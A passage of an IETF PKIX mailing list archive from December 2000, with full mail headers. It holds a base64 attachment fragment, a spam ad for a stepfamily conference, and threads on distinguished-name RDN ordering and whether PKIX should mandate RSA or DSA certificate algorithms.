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
YWZ0LnJ0ZlBLBQYAAAAAAQABAEAAAABDLgEAAAA=
--------------83BAFE232175AA4C011F5705--



Received: from sem_mail.smkb.ac.il (skbb3.skb2.macam.ac.il [192.115.171.3]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA09962; Mon, 25 Dec 2000 09:54:26 -0800 (PST)
From: hj4hj6@yahoo.com
Received: from 65kk9F90U (1Cust34.tnt21.lax3.da.uu.net [63.28.123.34]) by sem_mail.smkb.ac.il with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id Y4M7R6CB; Thu, 21 Dec 2000 23:32:23 +0200
DATE: 21 Dec 00 1:39:24 PM
Message-ID: <Lt03hk9apq12xYq>
SUBJECT: Improve your stepfamily life

Does your stepfamily life resemble a soap opera more than it does the Brady
Bunch?

The Stepfamily Association of America invites you to participate in THE
NATIONAL CONFERENCE FOR STEPFAMILIES, Feb. 23-24, 2001, at the New Orleans
Marriott Hotel.

This is an opportunity, designed by knowledgeable professionals, in
stepfamilies themselves, to help you:
* Make your remarriage a success
* Create bonds with your stepchildren
* Help your children adjust emotionally
* Manage money matters unique to your family
* Get more help from legal, financial, psychological advisors
* Overcome stepfather and stepmother stereotypes
* Elicit cooperation from your children's schools
* Bring more harmony into family life

Complete conference details at http://www.edupr.com
REGISTER ONLINE!

Attend, and also enjoy Mardi Gras week in New Orleans!

Special discounts for couples, students, groups.

HOTEL IS BOOKING UP FAST. ACT NOW BEFORE ROOM BLOCK AND
AIRLINE SEATS FILL Special rates for conference attendees. Visit
http://www.edupr.com for discounts. Childcare available through a bonded
local service.

Up to 17 professional development credits available if you are an 			
educator, clinician, financial planner, social worker.

Questions? Email stepfamilyconf@mail.com

If you would like to be removed, please email us back with the word "Remove" in the subject line. We apologize for any inconvenience.



Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA10949 for <ietf-pkix@imc.org>; Sat, 23 Dec 2000 12:48:36 -0800 (PST)
Received: from 66-44-92-145.s526.tnt7.lnhva.md.dialup.rcn.com ([66.44.92.145] helo=RHOUSLEY-PC.spyrus.com) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.16 #5) id 149veC-00062E-00 ; Sat, 23 Dec 2000 15:52:09 -0500
Message-Id: <5.0.1.4.2.20001223154237.02ccb878@mail.spyrus.com>
X-Sender: rhousley@mail.spyrus.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Sat, 23 Dec 2000 15:43:25 -0500
To: "Covey, Carlin" <ccovey@cylink.com>
From: Russ Housley <housley@spyrus.com>
Subject: Re: Ordering of RDN's within the DN
Cc: ietf-pkix@imc.org
In-Reply-To: <1BE57AA01A5ED411866500B0D049657B42A5A5@exchange.cylink.com >
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Carlin:

You local schema determines the ordering.  The X.500 series of 
recommendations does not impose an ordering.

Russ

At 08:58 AM 12/22/2000 -0800, Covey, Carlin wrote:
>Does anyone know of a standard ordering for the RDN's for locality, state,
>and postalCode when they appear in a DN?
>
>- Carlin Covey
>   Cylink Corp.



Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA07321 for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 09:42:22 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id QAA05291 for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 16:43:21 -0500 (EST) (envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001222122647.00bd4240@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 22 Dec 2000 12:54:57 -0500
To: ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: Re: Required Algorithms for Certificates
In-Reply-To: <3A42A01F.A8B1EE7A@xcert.com>
References: <4.2.0.58.20001221162051.01e8f580@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

>There's the rub.  PKIX can't choose a (set of) algorithm(s) because PKIX is
>so broadly applicable that any choice would shut out a particular community.
>It looks like algorithm choice is really up to the application.

I think this is an essential point. I believe that the goal of a 
specification like rfc2459 should be to maximize generality and 
interoperability, *not* to make it as easy as possible for every 
application developer to claim standards compliance in their marketing 
materials. Making RSA signatures MUST for CAs and both RSA and DSA MUST for 
user-agents guarantees both general interoperability and backwards 
compatibility. If a given vendor does not wish to support DSA, then his 
software will probably work in most cases. The decision to risk 
interoperability failure in some circumstances is his choice, and standards 
bodies should not be in the business of making him feel better about that 
choice. The idea of being able to (proudly?) claim standards compliance is 
the implication that this is some guarantee of 
completeness/robustness/ineroperability. If we relax the standards to make 
everything I'm-OK-you're-OK, then standards compliance becomes more a 
marketing tool than a yardstick of good implementations.

> > If PKIX decides to specify MUSTs or SHOULDs, they should be designed to
> > support broad interoperability.
>
>Yes, but what kind of interoperability?  Does an S/MIME cert have to be
>interoperable with an SSL cert?  Put another way, will an S/MIME application
>ever need to use or process an SSL or IPSec cert?  I say no.  If you accept
>that, then interoperability across all protocols becomes meaningless.

I don't accept that. There does not need to be any essential difference 
between an S/MIME cert and an SSL cert. If we make standards that encode 
the expectation that every application will need to use its own 
certificate, then we encourage unnecessary fragmentation of functionality 
and proliferation of keypairs. If an SSL certificate (what does that mean, 
BTW?) can be used to verify signatures on an S/MIME message, that means 
that an S/MIME application should be able to process it. If we say "well, 
if you wanted to sign S/MIME you should've made sure your integrated 
application had separate keypairs for each function" then we destroy the 
generality of the X.509 certificate design.

>So it makes sense for the algorithm decision to be in the hands of the
>protocols that adopt PKIX.  In fact, the "users" of PKIX are really other
>IETF protocols.  Therefore, I suggest that PKIX have only one MUST with
>respect to algorithms:

Yes, protocols -- but not individual implementers. For example, the CRFM 
spec (rfc2511) defines the PasswordBasedMac algorithm to be able to use any 
appropriate OWF and MAC algorithms, but mandates the use of SHA-1 and 
HMAC-SHA1 for CMP/CRMF. This means that somebody who would rather use MD5 
in his CMP implementation is free to do so, but is not free to claim 
compliance with rfc2511.

Ari Kermaier
Phaos Technology


Received: from exchange.cylink.com ([192.43.161.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA05612 for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 09:02:35 -0800 (PST)
Received: by exchange.cylink.com with Internet Mail Service (5.5.2650.21) id <ZHCS6AKD>; Fri, 22 Dec 2000 08:58:26 -0800
Message-ID: <1BE57AA01A5ED411866500B0D049657B42A5A5@exchange.cylink.com>
From: "Covey, Carlin" <ccovey@cylink.com>
To: ietf-pkix@imc.org
Subject: Ordering of RDN's within the DN
Date: Fri, 22 Dec 2000 08:58:20 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Does anyone know of a standard ordering for the RDN's for locality, state,
and postalCode when they appear in a DN?

- Carlin Covey
  Cylink Corp.


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA01367 for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 08:11:26 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <0G5Z00A0194SWI@ext-mail.valicert.com> for ietf-pkix@imc.org; Fri, 22 Dec 2000 08:14:52 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <0G5Z00AL394S00@ext-mail.valicert.com>; Fri, 22 Dec 2000 08:14:52 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <ZLX2SFSW>; Fri, 22 Dec 2000 08:11:32 -0800
Content-return: allowed
Date: Fri, 22 Dec 2000 08:11:31 -0800
From: Frank Balluffi <frankb@valicert.com>
Subject: RE: Required Algorithms for Certificates
To: "'yuriy@digsigtrust.com'" <yuriy@digsigtrust.com>, Frank Balluffi <frankb@valicert.com>, "'Marc Branchaud'" <marcnarc@xcert.com>, ietf-pkix@imc.org
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E771749@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Many PKis (little i) does not necessarily equal a PKI (big I). A PKI (big I)
does, however, enable PKis (little i). So I am still not convinced that our
current path will result in a PKI (big I). Please excuse the wordiness.

Frank

> -----Original Message-----
> From: Yuriy Dzambasow [mailto:yuriy@digsigtrust.com]
> Sent: Friday, December 22, 2000 11:03 AM
> To: Frank Balluffi; 'Marc Branchaud'; ietf-pkix@imc.org
> Subject: RE: Required Algorithms for Certificates
> 
> 
> The reality is, in my opinion, that there will be PKIs (BIG 
> I's) and PKis
> (Little i's), both of which wanting to claim PKIX compliance. 
>  To achieve
> that, I think there are two options, both of which I can support:
> 
> 1) Mandate a single algorithm on clients and CAs (RSA with 
> SHA-1), and state
> the others are MAY implements
> 2) Do not specify anything in son-of-2459 with respect to required
> algorithms, but rather provide text that encourages CAs to 
> implement support
> for algorithms based on applications that the CA needs to support, and
> further, have groups like S/MIME, TLS, and IPSEC define the required
> algorithms.
> 
> Yuriy
> 
> -----Original Message-----
> From: Frank Balluffi [mailto:frankb@valicert.com]
> Sent: Friday, December 22, 2000 10:22 AM
> To: 'Marc Branchaud'; ietf-pkix@imc.org
> Subject: RE: Required Algorithms for Certificates
> 
> Marc Branchaud said:
> 
> > I suggest that the expectation of a single "omnicert" is
> > turning out to be
> > naive.
> 
> It seems to me that the REAL issue is whether we want a PKI 
> which anyone can
> dynamically plug into or a PKi (note the small i) which only 
> pre-arranged
> groups can plug into. I would prefer the former. My sense is 
> that MUST RSA
> has a better chance of satisfying the former for the 
> following reasons:
> 
> 1. one algorithm minimizes the number of algorithm combinations
> 2. RSA can be used for both signing and encryption
> 3. RSA already has more critical mass than DSA
> 4. one algorithm minimizes the system resource usage on small 
> footprint
> devices
> 5. RSA is in the public domain
> 
> Also, I do not see a problem with changing MUST DSA to {SHALL 
> | MAY} DSA as
> long as a it is scheduled with reasonable warning. There was 
> a good reason
> for mandating DSA and that reason has changed.
> 
> To reiterate, the question remains, "What the heck are we trying to
> accomplish here?"
> 
> Frank
> 
> > -----Original Message-----
> > From: Marc Branchaud [mailto:marcnarc@xcert.com]
> > Sent: Thursday, December 21, 2000 7:28 PM
> > To: ietf-pkix@imc.org
> > Subject: Re: Required Algorithms for Certificates
> >
> >
> >
> > Tim Polk wrote:
> > >
> > > Folks,
> > >
> > > Since different algorithms are a natural fit for different
> > applications,
> > > the selection of a single MUST algorithm for PKIX seems a
> > bad idea.  That
> > > is the reason Jeff Schiller let us avoid this issue in the
> > first place.  If
> > > S/MIME chooses RSA but IPsec chooses DSA and D-H, we would
> > be in conflict
> > > with at least one of them.  PKIX should not be in the
> > position of dictating
> > > algorithms to other working groups.
> >
> > There's the rub.  PKIX can't choose a (set of) algorithm(s)
> > because PKIX is
> > so broadly applicable that any choice would shut out a
> > particular community.
> > It looks like algorithm choice is really up to the application.
> >
> > That would be fine, but there seems to be an expectation that
> > there is only
> > one certificate for a given entity, and that an entity is
> > expected to use its
> > one certificate for all its applications.
> >
> > Those two positions are irreconcilable.  Either a user has
> > one cert for
> > S/MIME, SSL, IPSec, etc. (in which case all those
> > applications will have to
> > use the same algorithm) or the user has multiple certs.  You
> > can't have it
> > both ways.
> >
> > I suggest that the expectation of a single "omnicert" is
> > turning out to be
> > naive.  Already with existing deployments, users have
> > different certs for
> > their different applications.  Even users of integrated
> > applications (say, a
> > browser & S/MIME app) tend to have distinct certs for each protocol.
> >
> > > If PKIX decides to specify MUSTs or SHOULDs, they should be
> > designed to
> > > support broad interoperability.
> >
> > Yes, but what kind of interoperability?  Does an S/MIME cert
> > have to be
> > interoperable with an SSL cert?  Put another way, will an
> > S/MIME application
> > ever need to use or process an SSL or IPSec cert?  I say no.
> > If you accept
> > that, then interoperability across all protocols becomes 
> meaningless.
> >
> > So it makes sense for the algorithm decision to be in the 
> hands of the
> > protocols that adopt PKIX.  In fact, the "users" of PKIX are
> > really other
> > IETF protocols.  Therefore, I suggest that PKIX have only one
> > MUST with
> > respect to algorithms:
> >
> >    Protocols that adopt PKIX SHALL require their applications
> > to implement
> >    one of the PKIX-compliant algorithms described in [RFCx],
> > [RFCy] and
> > [RFCz].
> >    PKIX implementors SHOULD implement the algorithm(s) 
> required by the
> >    protocol(s) which their PKIX implementation will support.
> >
> > This is a kind of meta-requirement for using PKIX, and I
> > don't know if IETF
> > rules allow for that sort of thing.  But I do think it's a
> > reasonable way
> > forward, because other protocols are then free to make the
> > best choices for
> > themselves.  S/MIME, for example, could say 
> "implementations SHALL use
> > [PKIX1] certificates that contain an RSA public key and that
> > are signed using
> > RSASHA1."  IPSec could make similar requirements for, say,
> > DSA & DH.  As long
> > as nobody tries to use their S/MIME cert for their VPN,
> > things will work.
> >
> > One final note: People who want to build generic PKIX
> > toolkits are likely
> > going to need to implement all the PKIX-compliant algorithms.
> >  This is pretty
> > much a given anyway (look at the existing toolkits).  What's
> > really at issue
> > are application developers who aren't using a general PKIX toolkit.
> >
> >               Marc
> >
> > +-------------------------------------------------------------
> > -----------+
> >  Marc Branchaud                                  \/
> >  Chief PKI Architect                             /\CERT
> > INTERNATIONAL INC.
> >  marcnarc@xcert.com        PKI References page:
> www.xcert.com
>  604-640-6227          www.xcert.com/~marcnarc/PKI/
> +-------------------------------------------------------------
> -----------+
> 


Received: from monet.digsigtrust.com (mail.digsigtrust.com [208.30.69.30]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA00690 for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 08:01:02 -0800 (PST)
Received: from CC474623A (cc474623-a.abdn1.md.home.com [24.18.83.123]) by monet.digsigtrust.com (8.10.2/8.10.2) with SMTP id eBMG4QY14296; Fri, 22 Dec 2000 09:04:26 -0700 (MST)
Reply-To: <yuriy@digsigtrust.com>
From: "Yuriy Dzambasow" <yuriy@digsigtrust.com>
To: "Frank Balluffi" <frankb@valicert.com>, "'Marc Branchaud'" <marcnarc@xcert.com>, <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Fri, 22 Dec 2000 11:03:05 -0500
Message-ID: <KFEOIGHGAGJEKFAJLKDJMEIBCGAA.yuriy@digsigtrust.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal
In-Reply-To: <613B3C619C9AD4118C4E00B0D03E7C3E771747@exchange.valicert.com>

The reality is, in my opinion, that there will be PKIs (BIG I's) and PKis
(Little i's), both of which wanting to claim PKIX compliance.  To achieve
that, I think there are two options, both of which I can support:

1) Mandate a single algorithm on clients and CAs (RSA with SHA-1), and state
the others are MAY implements
2) Do not specify anything in son-of-2459 with respect to required
algorithms, but rather provide text that encourages CAs to implement support
for algorithms based on applications that the CA needs to support, and
further, have groups like S/MIME, TLS, and IPSEC define the required
algorithms.

Yuriy

-----Original Message-----
From: Frank Balluffi [mailto:frankb@valicert.com]
Sent: Friday, December 22, 2000 10:22 AM
To: 'Marc Branchaud'; ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates

Marc Branchaud said:

> I suggest that the expectation of a single "omnicert" is
> turning out to be
> naive.

It seems to me that the REAL issue is whether we want a PKI which anyone can
dynamically plug into or a PKi (note the small i) which only pre-arranged
groups can plug into. I would prefer the former. My sense is that MUST RSA
has a better chance of satisfying the former for the following reasons:

1. one algorithm minimizes the number of algorithm combinations
2. RSA can be used for both signing and encryption
3. RSA already has more critical mass than DSA
4. one algorithm minimizes the system resource usage on small footprint
devices
5. RSA is in the public domain

Also, I do not see a problem with changing MUST DSA to {SHALL | MAY} DSA as
long as a it is scheduled with reasonable warning. There was a good reason
for mandating DSA and that reason has changed.

To reiterate, the question remains, "What the heck are we trying to
accomplish here?"

Frank

> -----Original Message-----
> From: Marc Branchaud [mailto:marcnarc@xcert.com]
> Sent: Thursday, December 21, 2000 7:28 PM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
>
>
>
> Tim Polk wrote:
> >
> > Folks,
> >
> > Since different algorithms are a natural fit for different
> applications,
> > the selection of a single MUST algorithm for PKIX seems a
> bad idea.  That
> > is the reason Jeff Schiller let us avoid this issue in the
> first place.  If
> > S/MIME chooses RSA but IPsec chooses DSA and D-H, we would
> be in conflict
> > with at least one of them.  PKIX should not be in the
> position of dictating
> > algorithms to other working groups.
>
> There's the rub.  PKIX can't choose a (set of) algorithm(s)
> because PKIX is
> so broadly applicable that any choice would shut out a
> particular community.
> It looks like algorithm choice is really up to the application.
>
> That would be fine, but there seems to be an expectation that
> there is only
> one certificate for a given entity, and that an entity is
> expected to use its
> one certificate for all its applications.
>
> Those two positions are irreconcilable.  Either a user has
> one cert for
> S/MIME, SSL, IPSec, etc. (in which case all those
> applications will have to
> use the same algorithm) or the user has multiple certs.  You
> can't have it
> both ways.
>
> I suggest that the expectation of a single "omnicert" is
> turning out to be
> naive.  Already with existing deployments, users have
> different certs for
> their different applications.  Even users of integrated
> applications (say, a
> browser & S/MIME app) tend to have distinct certs for each protocol.
>
> > If PKIX decides to specify MUSTs or SHOULDs, they should be
> designed to
> > support broad interoperability.
>
> Yes, but what kind of interoperability?  Does an S/MIME cert
> have to be
> interoperable with an SSL cert?  Put another way, will an
> S/MIME application
> ever need to use or process an SSL or IPSec cert?  I say no.
> If you accept
> that, then interoperability across all protocols becomes meaningless.
>
> So it makes sense for the algorithm decision to be in the hands of the
> protocols that adopt PKIX.  In fact, the "users" of PKIX are
> really other
> IETF protocols.  Therefore, I suggest that PKIX have only one
> MUST with
> respect to algorithms:
>
>    Protocols that adopt PKIX SHALL require their applications
> to implement
>    one of the PKIX-compliant algorithms described in [RFCx],
> [RFCy] and
> [RFCz].
>    PKIX implementors SHOULD implement the algorithm(s) required by the
>    protocol(s) which their PKIX implementation will support.
>
> This is a kind of meta-requirement for using PKIX, and I
> don't know if IETF
> rules allow for that sort of thing.  But I do think it's a
> reasonable way
> forward, because other protocols are then free to make the
> best choices for
> themselves.  S/MIME, for example, could say "implementations SHALL use
> [PKIX1] certificates that contain an RSA public key and that
> are signed using
> RSASHA1."  IPSec could make similar requirements for, say,
> DSA & DH.  As long
> as nobody tries to use their S/MIME cert for their VPN,
> things will work.
>
> One final note: People who want to build generic PKIX
> toolkits are likely
> going to need to implement all the PKIX-compliant algorithms.
>  This is pretty
> much a given anyway (look at the existing toolkits).  What's
> really at issue
> are application developers who aren't using a general PKIX toolkit.
>
>               Marc
>
> +-------------------------------------------------------------
> -----------+
>  Marc Branchaud                                  \/
>  Chief PKI Architect                             /\CERT
> INTERNATIONAL INC.
>  marcnarc@xcert.com        PKI References page:
www.xcert.com
 604-640-6227          www.xcert.com/~marcnarc/PKI/
+------------------------------------------------------------------------+



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA25670 for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 07:22:10 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <0G5Z00A016UPRA@ext-mail.valicert.com> for ietf-pkix@imc.org; Fri, 22 Dec 2000 07:25:37 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <0G5Z00AH26UO00@ext-mail.valicert.com>; Fri, 22 Dec 2000 07:25:37 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <ZLX2SFPN>; Fri, 22 Dec 2000 07:22:17 -0800
Content-return: allowed
Date: Fri, 22 Dec 2000 07:22:16 -0800
From: Frank Balluffi <frankb@valicert.com>
Subject: RE: Required Algorithms for Certificates
To: "'Marc Branchaud'" <marcnarc@xcert.com>, ietf-pkix@imc.org
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E771747@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Marc Branchaud said:

> I suggest that the expectation of a single "omnicert" is 
> turning out to be
> naive.

It seems to me that the REAL issue is whether we want a PKI which anyone can
dynamically plug into or a PKi (note the small i) which only pre-arranged
groups can plug into. I would prefer the former. My sense is that MUST RSA
has a better chance of satisfying the former for the following reasons:

1. one algorithm minimizes the number of algorithm combinations
2. RSA can be used for both signing and encryption
3. RSA already has more critical mass than DSA
4. one algorithm minimizes the system resource usage on small footprint
devices
5. RSA is in the public domain

Also, I do not see a problem with changing MUST DSA to {SHALL | MAY} DSA as
long as a it is scheduled with reasonable warning. There was a good reason
for mandating DSA and that reason has changed.

To reiterate, the question remains, "What the heck are we trying to
accomplish here?"

Frank

> -----Original Message-----
> From: Marc Branchaud [mailto:marcnarc@xcert.com]
> Sent: Thursday, December 21, 2000 7:28 PM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
> 
> 
> 
> Tim Polk wrote:
> > 
> > Folks,
> > 
> > Since different algorithms are a natural fit for different 
> applications,
> > the selection of a single MUST algorithm for PKIX seems a 
> bad idea.  That
> > is the reason Jeff Schiller let us avoid this issue in the 
> first place.  If
> > S/MIME chooses RSA but IPsec chooses DSA and D-H, we would 
> be in conflict
> > with at least one of them.  PKIX should not be in the 
> position of dictating
> > algorithms to other working groups.
> 
> There's the rub.  PKIX can't choose a (set of) algorithm(s) 
> because PKIX is
> so broadly applicable that any choice would shut out a 
> particular community. 
> It looks like algorithm choice is really up to the application.
> 
> That would be fine, but there seems to be an expectation that 
> there is only
> one certificate for a given entity, and that an entity is 
> expected to use its
> one certificate for all its applications.
> 
> Those two positions are irreconcilable.  Either a user has 
> one cert for
